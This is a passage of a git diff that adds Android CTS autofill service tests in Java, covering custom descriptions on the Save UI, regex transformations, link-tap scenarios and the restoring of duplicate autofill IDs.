+ final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
+ assertThat(number).isNotNull();
+ assertThat(number.getText()).isEqualTo("4815162342");
+
+ final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
+ assertThat(expiration).isNotNull();
+ assertThat(expiration.getText()).isEqualTo("today");
+ }
+
+ /**
+ * Tests that a custom save description is ignored when the selected spinner element is not
+ * available in the autofill options.
+ */
+ @Test
+ public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
+ // Set service.
+ enableService();
+
+ // Change spinner to return just one item so the transformation throws an exception when
+ // fetching it.
+ mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
+
+ // Set expectations.
+ final String packageName = getContext().getPackageName();
+ final RemoteViews presentation = new RemoteViews(packageName,
+ R.layout.two_horizontal_text_fields);
+ final CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(mActivity.getCcNumber().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CharSequenceTransformation trans2 = new CharSequenceTransformation
+ .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.second, trans2)
+ .build();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+ .setCustomDescription(customDescription)
+ .build());
+
+ // Dynamically change view contents
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+ // Trigger auto-fill.
+ mActivity.onCcNumber((v) -> v.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onCcNumber((v) -> v.setText("4815162342"));
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+ mActivity.tapBuy();
+
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+ // Then make sure it does not have the custom views on it...
+ assertThat(saveUi.findObject(By.res(packageName, "static_text"))).isNull();
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
new file mode 100644
index 0000000..b7acfc6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
+import static android.autofillservice.cts.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.ImageTransformation;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+public class CustomDescriptionTest extends AutoFillServiceTestCase {
+ @Rule
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<>(LoginActivity.class);
+
+ private LoginActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void finishWelcomeActivity() {
+ WelcomeActivity.finishIt();
+ }
+
+ /**
+ * Base test
+ *
+ * @param descriptionBuilder method to build a custom description
+ * @param uiVerifier Ran when the custom description is shown
+ */
+ private void testCustomDescription(
+ @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
+ @Nullable Runnable uiVerifier) throws Exception {
+ enableService();
+
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ // Set response with custom description
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+ .setCustomDescription(descriptionBuilder.apply(usernameId, passwordId))
+ .build());
+
+ // Trigger autofill with custom description
+ mActivity.onPassword(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onUsername((v) -> v.setText("usernm"));
+ mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.tapLogin();
+
+ if (uiVerifier != null) {
+ uiVerifier.run();
+ }
+
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextSaveRequest();
+
+ assertNoDanglingSessions();
+ }
+
+ @Test
+ public void validTransformation() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+ ImageTransformation trans2 = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"),
+ R.drawable.android).build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.img, trans2)
+ .build();
+ }, () -> assertSaveUiWithCustomDescriptionIsShown("usernm..wd"));
+ }
+
+ @Test
+ public void badImageTransformation() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"), 1)
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.img, trans)
+ .build();
+ }, () -> assertSaveUiWithCustomDescriptionIsShown() );
+ }
+
+ @Test
+ public void unusedImageTransformation() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.img, trans)
+ .build();
+ }, () -> assertSaveUiWithCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void applyImageTransformationToTextView() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void failFirstFailAll() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$42")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void failSecondFailAll() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void applyCharSequenceTransformationToImageView() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.img, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
+ enableService();
+
+ // Set response with custom description
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final CharSequenceTransformation firstTrans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(marco)"), "polo")
+ .build();
+ final CharSequenceTransformation secondTrans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
+ .build();
+ final RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+ final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, firstTrans)
+ .addChild(R.id.first, secondTrans)
+ .build();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+ .setCustomDescription(customDescription)
+ .build());
+
+ // Trigger autofill with custom description
+ mActivity.onPassword(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ final String username = matchFirst ? "marco" : "MARCO";
+ mActivity.onUsername((v) -> v.setText(username));
+ mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+ mActivity.tapLogin();
+
+ final String expectedText = matchFirst ? "polo" : "POLO";
+ assertSaveUiWithCustomDescriptionIsShown(expectedText);
+ }
+
+ @Test
+ public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
+ multipleTransformationsForSameFieldTest(true);
+ }
+
+ @Test
+ public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
+ multipleTransformationsForSameFieldTest(false);
+ }
+
+ private void assertSaveUiWithoutCustomDescriptionIsShown() {
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Then make sure it does not have the custom view on it.
+ assertWithMessage("found static_text on SaveUI (%s)", sUiBot.getChildrenAsText(saveUi))
+ .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
+ }
+
+ private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Then make sure it does have the custom view on it...
+ final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+ assertThat(staticText).isNotNull();
+ assertThat(staticText.getText()).isEqualTo("YO:");
+
+ return saveUi;
+ }
+
+ private void assertSaveUiWithCustomDescriptionIsShown(String expectedText) {
+ final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
+ assertWithMessage("didn't find '%s' on SaveUI (%s)", expectedText,
+ sUiBot.getChildrenAsText(saveUi))
+ .that(saveUi.findObject(By.text(expectedText))).isNotNull();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
new file mode 100644
index 0000000..e74e75a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.widget.RemoteViews;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
+ * tapped by the user.
+ *
+ * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
+ * <ul>
+ * <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
+ * <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
+ * and shown in the same activity.
+ * </ul>
+ *
+ * <p>The overall behavior should be the same in both cases, although the implementation of the
+ * tests per se will be sligthly different.
+ */
+abstract class CustomDescriptionWithLinkTestCase extends AutoFillServiceTestCase {
+
+ private static final String ID_LINK = "link";
+
+ /**
+ * Tests scenarios when user taps a link in the custom description and then taps back:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public final void testTapLink_tapBack() throws Exception {
+ saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, change the screen
+ * orientation while the new activity is show, then taps back:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public final void testTapLink_changeOrientationThenTapBack() throws Exception {
+ sUiBot.setScreenResolution();
+
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ try {
+ saveUiRestoredAfterTappingLinkTest(
+ PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
+ } finally {
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ try {
+ cleanUpAfterScreenOrientationIsBackToPortrait();
+ } finally {
+ sUiBot.resetScreenResolution();
+ }
+ }
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then the new activity
+ * finishes:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public final void testTapLink_finishActivity() throws Exception {
+ saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
+ }
+
+ protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception;
+
+ protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and touch outside the Save UI to dismiss it.
+ *
+ * <p>Then user starts a new session by focusing in a field.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and touch outside the Save UI to dismiss it.
+ *
+ * <p>Then user starts a new session by forcing autofill.
+ */
+ @Test
+ public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and tap the "No" button to dismiss it.
+ *
+ * <p>Then user starts a new session by focusing in a field.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
+ false);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and tap the "No" button to dismiss it.
+ *
+ * <p>Then user starts a new session by forcing autofill.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and the "Yes" button to save it.
+ *
+ * <p>Then user starts a new session by focusing in a field.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
+ false);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and the "Yes" button to save it.
+ *
+ * <p>Then user starts a new session by forcing autofill.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
+ }
+
+ protected abstract void tapLinkThenTapBackThenStartOverTest(
+ PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then double-tap recents
+ * to go back to the original activity:
+ * the Save UI should have been canceled.
+ */
+ @Test
+ @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+ public final void testTapLink_backToPreviousActivityByTappingRecents()
+ throws Exception {
+ saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_RECENTS);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then re-launches the
+ * original activity:
+ * the Save UI should have been canceled.
+ */
+ @Test
+ public final void testTapLink_backToPreviousActivityByLaunchingIt()
+ throws Exception {
+ saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then launches a 3rd
+ * activity:
+ * the Save UI should have been canceled.
+ */
+ @Test
+ public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
+ saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
+ }
+
+ @Test
+ public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
+ throws Exception {
+ tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
+ }
+
+ protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+ throws Exception;
+
+ enum PostSaveLinkTappedAction {
+ TAP_BACK_BUTTON,
+ ROTATE_THEN_TAP_BACK_BUTTON,
+ TAP_RECENTS,
+ FINISH_ACTIVITY,
+ LAUNCH_NEW_ACTIVITY,
+ LAUNCH_PREVIOUS_ACTIVITY,
+ TOUCH_OUTSIDE,
+ TAP_NO_ON_SAVE_UI,
+ TAP_YES_ON_SAVE_UI
+ }
+
+ protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception;
+
+ protected final void startActivity(Class<?> clazz) {
+ mContext.startActivity(new Intent(mContext, clazz));
+ }
+
+ protected final CustomDescription newCustomDescription(
+ Class<? extends Activity> activityClass) {
+ final Intent intent = new Intent(mContext, activityClass);
+ intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ return newCustomDescription(intent);
+ }
+
+ protected final CustomDescription newCustomDescription(Intent intent) {
+ final RemoteViews presentation = new RemoteViews(mPackageName,
+ R.layout.custom_description_with_link);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+ return new CustomDescription.Builder(presentation).build();
+ }
+
+ protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) {
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(saveType);
+ // Then make sure it does have the custom view with link on it...
+ getLink(saveUi);
+ return saveUi;
+ }
+
+ protected final UiObject2 getLink(final UiObject2 container) {
+ final UiObject2 button = container.findObject(By.res(mPackageName, ID_LINK));
+ assertThat(button).isNotNull();
+ assertThat(button.getText()).isEqualTo("DON'T TAP ME!");
+ return button;
+ }
+
+ protected final void tapSaveUiLink(UiObject2 saveUi) {
+ getLink(saveUi).click();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
index 1d4f652..d977ac6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
@@ -22,8 +22,6 @@
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
import static com.google.common.truth.Truth.assertWithMessage;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
new file mode 100644
index 0000000..ae9b9cd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+/**
+ * A simple enum for test cases where the Save UI is dismissed.
+ *
+ * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
+ * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
+ */
+enum DismissType {
+ BACK_BUTTON,
+ HOME_BUTTON,
+ RECENTS_BUTTON,
+ TOUCH_OUTSIDE,
+ FOCUS_OUTSIDE
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
new file mode 100644
index 0000000..31ac8f7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+public class DuplicateIdActivity extends AbstractAutoFillActivity {
+ private static final String LOG_TAG = DuplicateIdActivity.class.getSimpleName();
+
+ static final String DUPLICATE_ID = "duplicate_id";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (savedInstanceState != null) {
+ Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+ }
+
+ setContentView(R.layout.duplicate_id_layout);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
new file mode 100644
index 0000000..0e59e2f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.DuplicateIdActivity.DUPLICATE_ID;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public class DuplicateIdActivityTest extends AutoFillServiceTestCase {
+ private static final String LOG_TAG = DuplicateIdActivityTest.class.getSimpleName();
+ @Rule
+ public final AutofillActivityTestRule<DuplicateIdActivity> mActivityRule = new AutofillActivityTestRule<>(
+ DuplicateIdActivity.class);
+
+ private DuplicateIdActivity mActivity;
+
+ @Before
+ public void setup() {
+ Helper.disableAutoRotation(sUiBot);
+ sUiBot.setScreenOrientation(0);
+
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void teardown() {
+ mActivity.finish();
+
+ Helper.allowAutoRotation();
+ }
+
+ /**
+ * Find the views that are tested from the structure in the request
+ *
+ * @param request The request
+ *
+ * @return An array containing the two tested views
+ */
+ private AssistStructure.ViewNode[] findViews(InstrumentedAutoFillService.FillRequest request) {
+ assertThat(request.structure.getWindowNodeCount()).isEqualTo(1);
+ AssistStructure.WindowNode windowNode = request.structure.getWindowNodeAt(0);
+
+ AssistStructure.ViewNode rootNode = windowNode.getRootViewNode();
+
+ assertThat(rootNode.getChildCount()).isEqualTo(2);
+ return new AssistStructure.ViewNode[]{rootNode.getChildAt(0), rootNode.getChildAt(1)};
+ }
+
+ @Test
+ public void testDoNotRestoreDuplicateAutofillIds() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(DUPLICATE_ID, "value")
+ .setPresentation(createPresentation("dataset"))
+ .build())
+ .build());
+
+ // Select field to start autofill
+ runShellCommand("input keyevent KEYCODE_TAB");
+
+ waitUntilConnected();
+ InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
+
+ AssistStructure.ViewNode[] views = findViews(request);
+ AssistStructure.ViewNode view1 = views[0];
+ AssistStructure.ViewNode view2 = views[1];
+ AutofillId id1 = view1.getAutofillId();
+ AutofillId id2 = view2.getAutofillId();
+
+ Log.i(LOG_TAG, "view1=" + id1);
+ Log.i(LOG_TAG, "view2=" + id2);
+
+ // Both checkboxes use the same id
+ assertThat(view1.getId()).isEqualTo(view2.getId());
+
+ // They got different autofill ids though
+ assertThat(id1).isNotEqualTo(id2);
+
+ sReplier.addResponse(NO_RESPONSE);
+
+ // Force rotation to force onDestroy->onCreate cycle
+ sUiBot.setScreenOrientation(1);
+
+ // Select other field to trigger new partition
+ runShellCommand("input keyevent KEYCODE_TAB");
+
+ request = sReplier.getNextFillRequest();
+
+ views = findViews(request);
+ AutofillId recreatedId1 = views[0].getAutofillId();
+ AutofillId recreatedId2 = views[1].getAutofillId();
+
+ Log.i(LOG_TAG, "restored view1=" + recreatedId1);
+ Log.i(LOG_TAG, "restored view2=" + recreatedId2);
+
+ // For the restoring logic the two views are the same. Hence it might happen that the first
+ // view is restored with the id of the second view or the other way round.
+ // We just need
+ // - to restore as many views as we can (i.e. one)
+ // - make sure the autofill ids are still unique after
+ boolean view1WasRestored = (recreatedId1.equals(id1) || recreatedId1.equals(id2));
+ boolean view2WasRestored = (recreatedId2.equals(id1) || recreatedId2.equals(id2));
+
+ // One id was restored
+ assertThat(view1WasRestored || view2WasRestored).isTrue();
+
+ // The views still have different autofill ids
+ assertThat(recreatedId1).isNotEqualTo(recreatedId2);
+
+ waitUntilDisconnected();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
